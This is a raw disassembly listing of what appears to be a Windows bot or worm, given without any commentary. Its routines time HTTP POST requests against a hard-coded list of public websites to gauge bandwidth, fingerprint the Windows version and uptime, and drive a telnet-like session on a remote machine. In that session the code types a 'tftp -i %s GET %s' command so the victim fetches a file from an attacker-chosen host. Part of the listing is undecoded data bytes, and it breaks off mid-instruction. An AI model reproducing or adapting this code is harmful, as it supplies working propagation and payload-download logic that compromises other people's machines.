0FF335900h, 13EB5B59h ; --------------------------------------------------------------------------- loc_419E10: ; CODE XREF: seg000:00419CB1j lea eax, [ebp-220h] push offset unk_44F554 push eax call sub_41D260 pop ecx pop ecx cmp [ebp+14h], edi jnz short loc_419E41 push edi lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419E41: ; CODE XREF: seg000:00419E26j lea eax, [ebp-220h] push eax call sub_4161A7 pop ecx push 1 pop eax pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_419E55 proc near ; CODE XREF: seg000:0041A115p ; seg000:0041A127p ... arg_0 = dword ptr 4 call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx call sub_41DBA0 cdq idiv [esp+arg_0] mov eax, edx retn sub_419E55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E6F proc near ; CODE XREF: seg000:0041A11Ep ; seg000:0041A130p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AC70 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A046 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41D100 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_4024FB add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A046 push 50h call ds:dword_4514F4 push 6 push 1 push 2 mov [ebp+var_26], ax call ds:dword_451570 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A046 lea ecx, [ebp+var_28] push 10h push ecx push eax call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_41A046 push 32003h call sub_41FD90 mov edi, ds:dword_4F1340 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; dword_4F1340 push eax call sub_41DB90 call sub_41DBA0 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41D100 push 32000h push esi push ebx call sub_41D100 push ebx call sub_41AC70 push 323EAh mov ebx, eax call sub_41FD90 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41D260 push [ebp+var_8] push esi call sub_41E560 push offset asc_44F5D4 ; "\r\n" push esi call sub_41E560 add esp, 40h push esi call sub_41AC70 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; dword_4F1340 mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_419FC6 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_419F96 ; --------------------------------------------------------------------------- loc_419F93: ; CODE XREF: sub_419E6F+155j mov eax, [ebp+arg_0] loc_419F96: ; CODE XREF: sub_419E6F+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_419FA6 push [ebp+var_C] jmp short loc_419FA7 ; --------------------------------------------------------------------------- loc_419FA6: ; CODE XREF: sub_419E6F+130j push ebx loc_419FA7: ; CODE XREF: sub_419E6F+135j add eax, esi push eax push [ebp+var_4] call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_41A02D add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_419F93 loc_419FC6: ; CODE XREF: sub_419E6F+118j call edi ; dword_4F1340 sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_4394DC fst [ebp+arg_0] fcomp ds:flt_4394D8 fnstsw ax sahf jnz short loc_419FEE fld1 fstp [ebp+arg_0] loc_419FEE: ; CODE XREF: sub_419E6F+178j push [ebp+var_4] call ds:dword_451588 push [ebp+var_8] call sub_41B8B0 push esi call sub_41B8B0 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul ds:flt_4394D4 fmul ds:flt_4394D0 call sub_41F33C loc_41A028: ; CODE XREF: sub_419E6F+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A02D: ; CODE XREF: sub_419E6F+147j push [ebp+var_4] call ds:dword_451588 push [ebp+var_8] call sub_41B8B0 push esi call sub_41B8B0 pop ecx pop ecx loc_41A046: ; CODE XREF: sub_419E6F+19j ; sub_419E6F+42j ... xor eax, eax jmp short loc_41A028 sub_419E6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov dword ptr [ebp-4], 3 mov dword ptr [ebp-3Ch], offset aWww_schlund_ne ; "www.schlund.net" mov dword ptr [ebp-38h], offset aWww_utwente_nl ; "www.utwente.nl" mov dword ptr [ebp-34h], offset aVerio_fr ; "verio.fr" mov dword ptr [ebp-30h], offset aWww_1und1_de ; "www.1und1.de" mov dword ptr [ebp-2Ch], offset aWww_switch_ch ; "www.switch.ch" mov dword ptr [ebp-28h], offset aWww_belwue_de ; "www.belwue.de" mov dword ptr [ebp-24h], offset aDe_yahoo_com ; "de.yahoo.com" mov dword ptr [ebp-20h], offset aWww_google_it ; "www.google.it" mov dword ptr [ebp-6Ch], offset aWww_xo_net ; "www.xo.net" mov dword ptr [ebp-68h], offset aWww_stanford_e ; "www.stanford.edu" mov dword ptr [ebp-64h], offset aWww_verio_com ; "www.verio.com" mov dword ptr [ebp-60h], offset aWww_nocster_co ; "www.nocster.com" mov dword ptr [ebp-5Ch], offset aWww_rit_edu ; "www.rit.edu" mov dword ptr [ebp-58h], offset aWww_cogentco_c ; "www.cogentco.com" mov dword ptr [ebp-54h], offset aWww_burst_net ; "www.burst.net" mov dword ptr [ebp-50h], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov dword ptr [ebp-4Ch], offset aWww_level3_com ; "www.level3.com" mov dword ptr [ebp-48h], offset aWww_above_net ; "www.above.net" mov dword ptr [ebp-44h], offset aWww_easynews_c ; "www.easynews.com" mov dword ptr [ebp-40h], offset aWww_google_com ; "www.google.com" mov dword ptr [ebp-1Ch], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov dword ptr [ebp-18h], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov dword ptr [ebp-14h], offset aWww_d1asia_com ; "www.d1asia.com" mov dword ptr [ebp-10h], offset aWww_nifty_com ; "www.nifty.com" mov dword ptr [ebp-0Ch], offset aYahoo_co_jp ; "yahoo.co.jp" mov dword ptr [ebp-8], offset aWww_google_co_ ; "www.google.co.jp" call sub_419E55 push dword ptr [ebp+eax*4-3Ch] call sub_419E6F push 8 mov esi, eax call sub_419E55 push dword ptr [ebp+eax*4-3Ch] call sub_419E6F add esp, 10h test esi, esi jz short loc_41A14B test eax, eax jz short loc_41A147 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A147: ; CODE XREF: seg000:0041A13Ej mov ebx, esi jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A14B: ; CODE XREF: seg000:0041A13Aj mov ebx, eax loc_41A14D: ; CODE XREF: seg000:0041A145j ; seg000:0041A149j push 0Ch call sub_419E55 push dword ptr [ebp+eax*4-6Ch] call sub_419E6F push 0Ch mov edi, eax call sub_419E55 push dword ptr [ebp+eax*4-6Ch] call sub_419E6F add esp, 10h test edi, edi jz short loc_41A185 test eax, eax jz short loc_41A181 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A187 ; --------------------------------------------------------------------------- loc_41A181: ; CODE XREF: seg000:0041A178j mov esi, edi jmp short loc_41A187 ; --------------------------------------------------------------------------- loc_41A185: ; CODE XREF: seg000:0041A174j mov esi, eax loc_41A187: ; CODE XREF: seg000:0041A17Fj ; seg000:0041A183j push 6 call sub_419E55 push dword ptr [ebp+eax*4-1Ch] call sub_419E6F push 6 mov edi, eax call sub_419E55 push dword ptr [ebp+eax*4-1Ch] call sub_419E6F add esp, 10h test edi, edi jz short loc_41A1BF test eax, eax jz short loc_41A1BB lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A1C1 ; --------------------------------------------------------------------------- loc_41A1BB: ; CODE XREF: seg000:0041A1B2j mov ecx, edi jmp short loc_41A1C1 ; --------------------------------------------------------------------------- loc_41A1BF: ; CODE XREF: seg000:0041A1AEj mov ecx, eax loc_41A1C1: ; CODE XREF: seg000:0041A1B9j ; seg000:0041A1BDj xor eax, eax test ebx, ebx jz short loc_41A1CE mov edi, [ebp-4] mov eax, ebx jmp short loc_41A1D1 ; --------------------------------------------------------------------------- loc_41A1CE: ; CODE XREF: seg000:0041A1C5j push 2 pop edi loc_41A1D1: ; CODE XREF: seg000:0041A1CCj test esi, esi jz short loc_41A1D9 add eax, esi jmp short loc_41A1DA ; --------------------------------------------------------------------------- loc_41A1D9: ; CODE XREF: seg000:0041A1D3j dec edi loc_41A1DA: ; CODE XREF: seg000:0041A1D7j test ecx, ecx jz short loc_41A1E2 add eax, ecx jmp short loc_41A1E3 ; --------------------------------------------------------------------------- loc_41A1E2: ; CODE XREF: seg000:0041A1DCj dec edi loc_41A1E3: ; CODE XREF: seg000:0041A1E0j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp-26Ch] push offset dword_44F784 push eax call sub_41D260 push 0 lea eax, [ebp-26Ch] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-26Ch] push eax call sub_4161A7 add esp, 30h pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41A227 proc near ; CODE XREF: seg000:00407CC1p ; seg000:0040811Bp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_4F1340 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4EE7F8 push eax mov eax, ecx div ebx push eax push offset dword_44F7FC push 32h push esi call sub_41D360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A227 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] push esi push eax xor esi, esi mov dword ptr [ebp-94h], 94h call ds:dword_4F1358 ; GetVersionExA test eax, eax jz short loc_41A323 cmp dword ptr [ebp-90h], 4 jnz short loc_41A2F9 cmp [ebp-8Ch], esi jnz short loc_41A2E1 cmp dword ptr [ebp-84h], 1 jnz short loc_41A2D4 push 1 pop esi loc_41A2D4: ; CODE XREF: seg000:0041A2CFj cmp dword ptr [ebp-84h], 2 jnz short loc_41A323 push 1 jmp short loc_41A322 ; --------------------------------------------------------------------------- loc_41A2E1: ; CODE XREF: seg000:0041A2C6j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_41A2EE loc_41A2EA: ; CODE XREF: seg000:0041A308j push 2 jmp short loc_41A322 ; --------------------------------------------------------------------------- loc_41A2EE: ; CODE XREF: seg000:0041A2E8j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_41A323 jmp short loc_41A313 ; --------------------------------------------------------------------------- loc_41A2F9: ; CODE XREF: seg000:0041A2BEj cmp dword ptr [ebp-90h], 5 jnz short loc_41A323 cmp [ebp-8Ch], esi jz short loc_41A2EA cmp dword ptr [ebp-8Ch], 1 jnz short loc_41A317 loc_41A313: ; CODE XREF: seg000:0041A2F7j push 3 jmp short loc_41A322 ; --------------------------------------------------------------------------- loc_41A317: ; CODE XREF: seg000:0041A311j cmp dword ptr [ebp-8Ch], 2 jnz short loc_41A323 push 7 loc_41A322: ; CODE XREF: seg000:0041A2DFj ; seg000:0041A2ECj ... pop esi loc_41A323: ; CODE XREF: seg000:0041A2B5j ; seg000:0041A2DBj ... mov eax, esi pop esi leave retn ; --------------------------------------------------------------------------- push ebx push esi push edi mov esi, 0F4240h loc_41A330: ; CODE XREF: seg000:0041A35Dj ; seg000:0041A363j call sub_41A761 push 3E8h mov edi, eax mov ebx, edx call ds:dword_4F12F4 ; Sleep call sub_41A761 sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call sub_4203C0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A330 jb short loc_41A365 cmp ebx, esi ja short loc_41A330 loc_41A365: ; CODE XREF: seg000:0041A35Fj push 0 push 64h push edi push ebx call sub_420430 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41A3D8 jb short loc_41A384 cmp esi, 50h jnb short loc_41A389 loc_41A384: ; CODE XREF: seg000:0041A37Dj push 4Bh xor edx, edx pop eax loc_41A389: ; CODE XREF: seg000:0041A382j test ecx, ecx ja short loc_41A3D8 jb short loc_41A394 cmp esi, 47h jnb short loc_41A399 loc_41A394: ; CODE XREF: seg000:0041A38Dj push 42h xor edx, edx pop eax loc_41A399: ; CODE XREF: seg000:0041A392j test ecx, ecx ja short loc_41A3D8 jb short loc_41A3A4 cmp esi, 37h jnb short loc_41A3A9 loc_41A3A4: ; CODE XREF: seg000:0041A39Dj push 32h xor edx, edx pop eax loc_41A3A9: ; CODE XREF: seg000:0041A3A2j test ecx, ecx ja short loc_41A3D8 jb short loc_41A3B4 cmp esi, 26h jnb short loc_41A3B9 loc_41A3B4: ; CODE XREF: seg000:0041A3ADj push 21h xor edx, edx pop eax loc_41A3B9: ; CODE XREF: seg000:0041A3B2j test ecx, ecx ja short loc_41A3D8 jb short loc_41A3C4 cmp esi, 1Eh jnb short loc_41A3C9 loc_41A3C4: ; CODE XREF: seg000:0041A3BDj push 19h xor edx, edx pop eax loc_41A3C9: ; CODE XREF: seg000:0041A3C2j test ecx, ecx ja short loc_41A3D8 jb short loc_41A3D4 cmp esi, 0Ah jnb short loc_41A3D8 loc_41A3D4: ; CODE XREF: seg000:0041A3CDj xor eax, eax xor edx, edx loc_41A3D8: ; CODE XREF: seg000:0041A37Bj ; seg000:0041A38Bj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41A3E4: ; CODE XREF: seg000:00407E6Dp push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp-0CCh] push edi push eax mov dword ptr [ebp-4], offset dword_4EE830 mov dword ptr [ebp-0CCh], 94h call ds:dword_4F1358 ; GetVersionExA xor ebx, ebx cmp dword ptr [ebp-0C8h], 4 jnz short loc_41A46B cmp [ebp-0C4h], ebx jnz short loc_41A447 cmp dword ptr [ebp-0BCh], 1 jnz short loc_41A431 mov dword ptr [ebp-4], offset dword_44F808 loc_41A431: ; CODE XREF: seg000:0041A428j cmp dword ptr [ebp-0BCh], 2 jnz loc_41A4E6 mov dword ptr [ebp-4], offset dword_44F80C jmp short loc_41A4B7 ; --------------------------------------------------------------------------- loc_41A447: ; CODE XREF: seg000:0041A41Fj cmp dword ptr [ebp-0C4h], 0Ah jnz short loc_41A459 mov dword ptr [ebp-4], offset dword_44F810 jmp short loc_41A4AE ; --------------------------------------------------------------------------- loc_41A459: ; CODE XREF: seg000:0041A44Ej cmp dword ptr [ebp-0C4h], 5Ah jnz short loc_41A4A7 mov dword ptr [ebp-4], offset dword_44F814 jmp short loc_41A4AE ; --------------------------------------------------------------------------- loc_41A46B: ; CODE XREF: seg000:0041A417j cmp dword ptr [ebp-0C8h], 5 jnz short loc_41A4A7 cmp [ebp-0C4h], ebx jnz short loc_41A485 mov dword ptr [ebp-4], offset dword_44F818 jmp short loc_41A4AE ; --------------------------------------------------------------------------- loc_41A485: ; CODE XREF: seg000:0041A47Aj cmp dword ptr [ebp-0C4h], 1 jnz short loc_41A497 mov dword ptr [ebp-4], offset dword_44F81C jmp short loc_41A4AE ; --------------------------------------------------------------------------- loc_41A497: ; CODE XREF: seg000:0041A48Cj cmp dword ptr [ebp-0C4h], 2 mov dword ptr [ebp-4], offset a2003 ; "2003" jz short loc_41A4AE loc_41A4A7: ; CODE XREF: seg000:0041A460j ; seg000:0041A472j mov dword ptr [ebp-4], offset a??? ; "???" loc_41A4AE: ; CODE XREF: seg000:0041A457j ; seg000:0041A469j ... cmp dword ptr [ebp-0BCh], 2 jnz short loc_41A4E6 loc_41A4B7: ; CODE XREF: seg000:0041A445j cmp [ebp-0B8h], bl jz short loc_41A4E6 lea eax, [ebp-0B8h] push eax lea eax, [ebp-2E8h] push dword ptr [ebp-4] push offset aSS_6 ; "%s (%s)" push eax call sub_41D260 lea eax, [ebp-2E8h] add esp, 10h mov [ebp-4], eax loc_41A4E6: ; CODE XREF: seg000:0041A438j ; seg000:0041A4B5j ... mov ax, ds:word_44F834 push 3Fh mov [ebp-25Ch], ax pop ecx xor eax, eax lea edi, [ebp-25Ah] rep stosd stosw mov eax, ds:dword_4513D8 mov dword ptr [ebp-0Ch], 100h cmp eax, ebx jz short loc_41A51F lea ecx, [ebp-0Ch] push ecx lea ecx, [ebp-25Ch] push ecx call eax ; dword_4513D8 loc_41A51F: ; CODE XREF: seg000:0041A510j push dword ptr [ebp+0Ch] call sub_402617 pop ecx push eax call ds:dword_451530 mov [ebp-8], eax push 2 lea eax, [ebp-8] push 4 push eax call ds:dword_4514AC cmp eax, ebx jz short loc_41A548 push dword ptr [eax] jmp short loc_41A54D ; --------------------------------------------------------------------------- loc_41A548: ; CODE XREF: seg000:0041A542j push offset aCouldnTResolve ; "couldn't resolve host" loc_41A54D: ; CODE XREF: seg000:0041A546j lea eax, [ebp-3E4h] push eax call sub_41D260 pop ecx lea eax, [ebp-4E8h] pop ecx push 104h push eax call near ptr 3D0000h mov edi, 0FEEC858Dh ; --------------------------------------------------------------------------- db 2 dup(0FFh), 6Ah dd 50685046h, 530044F8h, 409BEh, 0E8565300h, 0FFFB5A78h dd 0A4858DAAh, 6AFFFFFEh, 5C685046h, 530044F8h, 61E85653h dd 40FFFB5Ah, 458D206Ah, 0E85053C8h, 2B54h, 8D0CC483h dd 0E850C845h, 0FFFB5A48h, 8D53531Eh, 5053E845h, 0FB18858Dh dd 0E850FFFFh, 3694h, 50E8458Dh, 0F818858Dh, 0E850FFFFh dd 0FFFFC4E3h, 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h dd 0FFF818B5h, 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC27h dd 5020C483h, 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh dd 0FFFFFDA4h, 0C75FF50h, 0FE7FF6E8h, 8D5059FFh, 0FFFC1C85h dd 858D50FFh, 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h dd 3CB5FFFFh, 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h dd 50FFFFFAh, 0C1D4458Bh, 50530AE8h, 0FFC34EE8h, 505959FFh dd 0C1D0458Bh, 50530AE8h, 0FFC33EE8h, 505959FFh, 0FFFCAFE8h dd 685052FFh, 44F868h, 20068h, 875FF00h, 2CD3E8h, 8458B00h dd 5F50C483h, 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A698 proc near ; CODE XREF: seg000:00406ED9p ; seg000:00407E9Bp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41D100 add esp, 0Ch cmp ds:dword_4515D8, 0 jnz short loc_41A70C push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_4513BC test eax, eax jnz short loc_41A6ED lea eax, [ebp+var_8C] push offset dword_44F95C push eax call sub_41D260 pop ecx pop ecx loc_41A6ED: ; CODE XREF: sub_41A698+40j test [ebp+var_C], 1 jz short loc_41A705 push offset dword_44F96C loc_41A6F8: ; CODE XREF: sub_41A698+72j lea eax, [ebp+var_8] push eax call sub_41D260 pop ecx pop ecx jmp short loc_41A72E ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A698+59j push offset off_44F974 jmp short loc_41A6F8 ; --------------------------------------------------------------------------- loc_41A70C: ; CODE XREF: sub_41A698+28j lea eax, [ebp+var_8] push offset off_44F978 push eax call sub_41D260 lea eax, [ebp+var_8C] push offset off_44F97C push eax call sub_41D260 add esp, 10h loc_41A72E: ; CODE XREF: sub_41A698+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_402617 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_44F980 push 200h push [ebp+arg_0] call sub_41D360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41A698 endp ; =============== S U B R O U T I N E ======================================= sub_41A761 proc near ; CODE XREF: seg000:loc_41A330p ; seg000:0041A344p rdtsc retn sub_41A761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A764 proc near ; CODE XREF: seg000:0041AA48p ; seg000:0041AA65p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4EE93C lea edi, [ebp+var_C] mov ax, ds:word_44F9E8 movsd movsb mov esi, offset dword_4EE944 lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, ds:word_44F9EC movsd mov [ebp+var_6], ax mov ax, ds:word_4EE938 movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41A830 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41A7B6: ; CODE XREF: sub_41A764+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41A7D6 dec eax jnz short loc_41A824 push esi lea eax, [ebp+var_2] push 1 push eax push edi call ds:dword_451540 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41A7EA ; --------------------------------------------------------------------------- loc_41A7D6: ; CODE XREF: sub_41A764+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call ds:dword_451540 push esi push 1 lea eax, [ebp+var_6] loc_41A7EA: ; CODE XREF: sub_41A764+70j push eax push edi call ds:dword_451540 push ebx call sub_41AC70 pop ecx cmp eax, 2 push esi jnz short loc_41A806 push 4 lea eax, [ebp+var_C] jmp short loc_41A80B ; --------------------------------------------------------------------------- loc_41A806: ; CODE XREF: sub_41A764+99j push 5 lea eax, [ebp+var_14] loc_41A80B: ; CODE XREF: sub_41A764+A0j push eax push edi call ds:dword_451540 push esi push ebx call sub_41AC70 pop ecx push eax push ebx push edi call ds:dword_451540 loc_41A824: ; CODE XREF: sub_41A764+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41A7B6 pop ebx jmp short loc_41A8A6 ; --------------------------------------------------------------------------- loc_41A830: ; CODE XREF: sub_41A764+42j dec eax jz short loc_41A84F dec eax jnz short loc_41A8A6 mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call ds:dword_451540 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41A866 ; --------------------------------------------------------------------------- loc_41A84F: ; CODE XREF: sub_41A764+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call ds:dword_451540 push esi push 1 lea eax, [ebp+var_6] loc_41A866: ; CODE XREF: sub_41A764+E9j push eax push edi call ds:dword_451540 push [ebp+arg_4] call sub_41AC70 pop ecx cmp eax, 2 push esi jnz short loc_41A884 push 4 lea eax, [ebp+var_C] jmp short loc_41A889 ; --------------------------------------------------------------------------- loc_41A884: ; CODE XREF: sub_41A764+117j push 5 lea eax, [ebp+var_14] loc_41A889: ; CODE XREF: sub_41A764+11Ej push eax push edi call ds:dword_451540 push esi push [ebp+arg_4] call sub_41AC70 pop ecx push eax push [ebp+arg_4] push edi call ds:dword_451540 loc_41A8A6: ; CODE XREF: sub_41A764+CAj ; sub_41A764+D0j pop edi pop esi leave retn sub_41A764 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi mov esi, offset dword_44F9F0 lea edi, [ebp-38h] mov ax, ds:word_44FA04 movsd movsd movsd movsb mov esi, offset dword_44FA00 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_4EE94C lea edi, [ebp-28h] movsd movsb mov esi, offset dword_44FA0C lea edi, [ebp-10h] movsw movsb mov esi, offset dword_44FA14 lea edi, [ebp-0Ch] movsw movsb mov [ebp-2], ax mov ax, ds:word_44FA08 xor esi, esi mov [ebp-4], ax mov ax, ds:word_44FA18 push esi push 1 push 2 mov [ebp-6], ax xor edi, edi call ds:dword_451570 mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp-1Ch], ebx jnz short loc_41A92B push eax call ds:dword_451588 loc_41A92B: ; CODE XREF: seg000:0041A922j lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call ds:dword_4514F4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call ds:dword_45149C test eax, eax jnz loc_41AC60 loc_41A963: ; CODE XREF: seg000:0041A9D9j ; seg000:0041AA14j push 40h lea eax, [ebp-88h] push esi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call ds:dword_45150C cmp eax, esi jle loc_41AA33 cmp eax, 0FFFFFFFFh jz loc_41AA33 mov eax, edi sub eax, esi jz short loc_41A9DB dec eax jz short loc_41A9A5 dec eax jz short loc_41AA19 jmp short loc_41AA0F ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: seg000:0041A99Ej lea eax, [ebp-14h] push eax lea eax, [ebp-88h] push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_41AC60 lea eax, [ebp-2] push esi push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-2] push eax push ebx call ds:dword_451540 push 2 pop edi jmp short loc_41A963 ; --------------------------------------------------------------------------- loc_41A9DB: ; CODE XREF: seg000:0041A99Bj lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_41AC60 lea eax, [ebp-38h] push esi push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call ds:dword_451540 push 1 pop edi loc_41AA0F: ; CODE XREF: seg000:0041A9A3j cmp edi, 3 jz short loc_41AA33 jmp loc_41A963 ; --------------------------------------------------------------------------- loc_41AA19: ; CODE XREF: seg000:0041A9A1j lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_41AC60 loc_41AA33: ; CODE XREF: seg000:0041A988j ; seg000:0041A991j ... push esi lea eax, [ebp-4] push 1 push eax push ebx call ds:dword_451540 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41A764 mov esi, ds:dword_4F12F4 add esp, 0Ch mov edi, 3E8h push edi call esi ; dword_4F12F4 lea eax, [ebp-6] push 0 push eax push ebx call sub_41A764 add esp, 0Ch push edi call esi ; dword_4F12F4 lea eax, [ebp-10h] push 2 push eax push ebx call sub_41A764 add esp, 0Ch push edi call esi ; dword_4F12F4 and dword ptr [ebp-18h], 0 mov ebx, offset byte_44F9DC push ebx call sub_41AC70 test eax, eax pop ecx jbe short loc_41AAD5 loc_41AA96: ; CODE XREF: seg000:0041AAD3j mov eax, [ebp-18h] movsx eax, ds:byte_44F9DC[eax] push eax push offset dword_44FA1C lea eax, [ebp-20h] push 3 push eax call sub_41D360 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_41A764 add esp, 1Ch push 7Dh call esi ; dword_4F12F4 inc dword ptr [ebp-18h] push ebx call sub_41AC70 cmp [ebp-18h], eax pop ecx jb short loc_41AA96 loc_41AAD5: ; CODE XREF: seg000:0041AA94j lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_41A764 add esp, 0Ch push 7D0h call esi ; dword_4F12F4 push 100h mov ebx, offset byte_4EE838 push 0 push ebx call sub_41D100 add esp, 0Ch push offset byte_43CCBC push dword ptr [ebp+8] call sub_402617 pop ecx push eax push offset aTftpISGetS ; "tftp -i %s GET %s" push 0FFh push ebx call sub_41D360 and dword ptr [ebp-18h], 0 push ebx call sub_41AC70 add esp, 18h test eax, eax jbe short loc_41AB71 loc_41AB32: ; CODE XREF: seg000:0041AB6Fj mov eax, [ebp-18h] movsx eax, ds:byte_4EE838[eax] push eax push offset aC_1 ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_41D360 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_41A764 add esp, 1Ch push 7Dh call esi ; dword_4F12F4 inc dword ptr [ebp-18h] push ebx call sub_41AC70 cmp [ebp-18h], eax pop ecx jb short loc_41AB32 loc_41AB71: ; CODE XREF: seg000:0041AB30j push edi call esi ; dword_4F12F4 lea eax, [ebp-0Ch] push 0 push eax push dword ptr 